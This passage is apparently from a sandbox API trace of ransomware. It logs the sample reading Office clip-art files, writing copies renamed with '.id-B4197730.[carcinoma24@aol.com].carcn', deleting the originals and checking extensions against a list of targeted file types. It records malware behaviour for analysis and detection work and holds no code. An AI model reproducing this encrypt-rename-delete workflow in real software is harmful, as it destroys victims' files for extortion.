lpOverlapped=0x0) returned 1 [0294.027] WriteFile (in: hFile=0x370, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0294.027] SetEndOfFile (hFile=0x370) returned 1 [0294.027] CloseHandle (hObject=0x370) returned 1 [0294.027] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.027] SetEndOfFile (hFile=0x368) returned 1 [0294.028] CloseHandle (hObject=0x368) returned 1 [0294.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0294.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0294.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0294.031] lstrlenW (lpString=".doc") returned 4 [0294.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.031] lstrlenW (lpString=".docx") returned 5 [0294.031] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.031] lstrlenW (lpString=".pdf") returned 4 [0294.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.031] lstrlenW (lpString=".xls") returned 4 [0294.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.031] lstrlenW (lpString=".xlsx") returned 5 [0294.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.031] lstrlenW (lpString=".ppt") returned 4 [0294.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0294.031] lstrlenW (lpString=".zip") returned 4 [0294.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.031] lstrlenW (lpString=".rar") returned 4 [0294.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.031] lstrlenW (lpString=".bz2") returned 4 [0294.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.031] lstrlenW (lpString=".7z") returned 3 [0294.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0294.031] lstrlenW (lpString=".dbf") returned 4 [0294.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0294.032] lstrlenW (lpString=".1cd") returned 4 [0294.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0294.032] lstrlenW (lpString=".jpg") returned 4 [0294.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0294.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0294.032] lstrlenW (lpString=".doc") returned 4 [0294.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.032] lstrlenW (lpString=".docx") returned 5 [0294.032] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.032] lstrlenW (lpString=".pdf") returned 4 [0294.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.032] lstrlenW (lpString=".xls") returned 4 [0294.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.032] lstrlenW (lpString=".xlsx") returned 5 [0294.032] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.032] lstrlenW (lpString=".ppt") returned 4 [0294.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0294.032] lstrlenW (lpString=".zip") returned 4 [0294.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.032] lstrlenW (lpString=".rar") returned 4 [0294.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.032] lstrlenW (lpString=".bz2") returned 4 [0294.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.032] lstrlenW (lpString=".7z") returned 3 [0294.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0294.033] lstrlenW (lpString=".dbf") returned 4 [0294.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0294.033] lstrlenW (lpString=".1cd") returned 4 [0294.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 68 [0294.033] lstrlenW (lpString=".jpg") returned 4 [0294.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.033] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0294.033] lstrlenW (lpString="AN01216_.WMF") returned 12 [0294.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0294.033] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=5836) returned 1 [0294.033] CloseHandle (hObject=0x368) returned 1 [0294.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 0x220 [0294.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0294.034] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.034] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0294.038] GetLastError () returned 0x0 [0294.038] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x16cc, lpOverlapped=0x0) returned 1 [0294.039] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x16d0, lpOverlapped=0x0) returned 1 [0294.040] ReadFile (in: hFile=0x368, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.040] WriteFile (in: hFile=0x36c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0294.040] SetEndOfFile (hFile=0x36c) returned 1 [0294.040] CloseHandle (hObject=0x36c) returned 1 [0294.041] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.041] SetEndOfFile (hFile=0x368) returned 1 [0294.042] CloseHandle (hObject=0x368) returned 1 [0294.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.042] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0294.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0294.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0294.045] lstrlenW (lpString=".doc") returned 4 [0294.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.045] lstrlenW (lpString=".docx") returned 5 [0294.045] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.045] lstrlenW (lpString=".pdf") returned 4 [0294.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.046] lstrlenW (lpString=".xls") returned 4 [0294.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.046] lstrlenW (lpString=".xlsx") returned 5 [0294.046] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.046] lstrlenW (lpString=".ppt") returned 4 [0294.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0294.046] lstrlenW (lpString=".zip") returned 4 [0294.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.046] lstrlenW (lpString=".rar") returned 4 [0294.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.046] lstrlenW (lpString=".bz2") returned 4 [0294.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.046] lstrlenW (lpString=".7z") returned 3 [0294.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0294.046] lstrlenW (lpString=".dbf") returned 4 [0294.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0294.046] lstrlenW (lpString=".1cd") returned 4 [0294.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0294.046] lstrlenW (lpString=".jpg") returned 4 [0294.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0294.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0294.046] lstrlenW (lpString=".doc") returned 4 [0294.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.046] lstrlenW (lpString=".docx") returned 5 [0294.046] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.046] lstrlenW (lpString=".pdf") returned 4 [0294.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.046] lstrlenW (lpString=".xls") returned 4 [0294.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.047] lstrlenW (lpString=".xlsx") returned 5 [0294.047] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.047] lstrlenW (lpString=".ppt") returned 4 [0294.047] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0294.047] lstrlenW (lpString=".zip") returned 4 [0294.047] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.047] lstrlenW (lpString=".rar") returned 4 [0294.047] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.047] lstrlenW (lpString=".bz2") returned 4 [0294.047] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.047] lstrlenW (lpString=".7z") returned 3 [0294.047] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0294.047] lstrlenW (lpString=".dbf") returned 4 [0294.047] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0294.047] lstrlenW (lpString=".1cd") returned 4 [0294.047] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.047] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 68 [0294.047] lstrlenW (lpString=".jpg") returned 4 [0294.047] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.047] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0294.047] lstrlenW (lpString="AN01218_.WMF") returned 12 [0294.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0294.048] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=3012) returned 1 [0294.048] CloseHandle (hObject=0x368) returned 1 [0294.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 0x220 [0294.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0294.056] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.056] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0294.065] GetLastError () returned 0x0 [0294.065] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xbc4, lpOverlapped=0x0) returned 1 [0294.066] WriteFile (in: hFile=0x364, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xbd0, lpOverlapped=0x0) returned 1 [0294.067] ReadFile (in: hFile=0x36c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.067] WriteFile (in: hFile=0x364, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0294.067] SetEndOfFile (hFile=0x364) returned 1 [0294.067] CloseHandle (hObject=0x364) returned 1 [0294.067] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.067] SetEndOfFile (hFile=0x36c) returned 1 [0294.068] CloseHandle (hObject=0x36c) returned 1 [0294.068] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.069] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0294.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0294.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0294.069] lstrlenW (lpString=".doc") returned 4 [0294.070] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.070] lstrlenW (lpString=".docx") returned 5 [0294.070] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.070] lstrlenW (lpString=".pdf") returned 4 [0294.070] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.070] lstrlenW (lpString=".xls") returned 4 [0294.070] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.070] lstrlenW (lpString=".xlsx") returned 5 [0294.070] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.070] lstrlenW (lpString=".ppt") returned 4 [0294.070] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0294.070] lstrlenW (lpString=".zip") returned 4 [0294.070] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.070] lstrlenW (lpString=".rar") returned 4 [0294.070] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.070] lstrlenW (lpString=".bz2") returned 4 [0294.070] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.070] lstrlenW (lpString=".7z") returned 3 [0294.070] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0294.070] lstrlenW (lpString=".dbf") returned 4 [0294.070] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0294.070] lstrlenW (lpString=".1cd") returned 4 [0294.070] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.070] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0294.070] lstrlenW (lpString=".jpg") returned 4 [0294.070] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0294.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0294.071] lstrlenW (lpString=".doc") returned 4 [0294.071] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.071] lstrlenW (lpString=".docx") returned 5 [0294.071] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.071] lstrlenW (lpString=".pdf") returned 4 [0294.071] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.071] lstrlenW (lpString=".xls") returned 4 [0294.071] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.071] lstrlenW (lpString=".xlsx") returned 5 [0294.071] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.071] lstrlenW (lpString=".ppt") returned 4 [0294.071] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0294.071] lstrlenW (lpString=".zip") returned 4 [0294.071] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.071] lstrlenW (lpString=".rar") returned 4 [0294.071] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.071] lstrlenW (lpString=".bz2") returned 4 [0294.071] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.071] lstrlenW (lpString=".7z") returned 3 [0294.071] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0294.071] lstrlenW (lpString=".dbf") returned 4 [0294.071] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0294.071] lstrlenW (lpString=".1cd") returned 4 [0294.071] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.071] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 68 [0294.072] lstrlenW (lpString=".jpg") returned 4 [0294.072] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.799] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0294.799] lstrlenW (lpString="AN04225_.WMF") returned 12 [0294.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0294.799] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2ffff14 | out: lpFileSize=0x2ffff14*=8492) returned 1 [0294.800] CloseHandle (hObject=0x350) returned 1 [0294.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf")) returned 0x220 [0294.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0294.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0294.800] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.800] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0294.800] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04225_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04225_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0294.801] GetLastError () returned 0x0 [0294.801] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x212c, lpOverlapped=0x0) returned 1 [0294.802] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x2130, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x2130, lpOverlapped=0x0) returned 1 [0294.804] ReadFile (in: hFile=0x350, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0294.804] WriteFile (in: hFile=0x34c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0294.804] SetEndOfFile (hFile=0x34c) returned 1 [0294.804] CloseHandle (hObject=0x34c) returned 1 [0294.804] SetFilePointerEx (in: hFile=0x350, 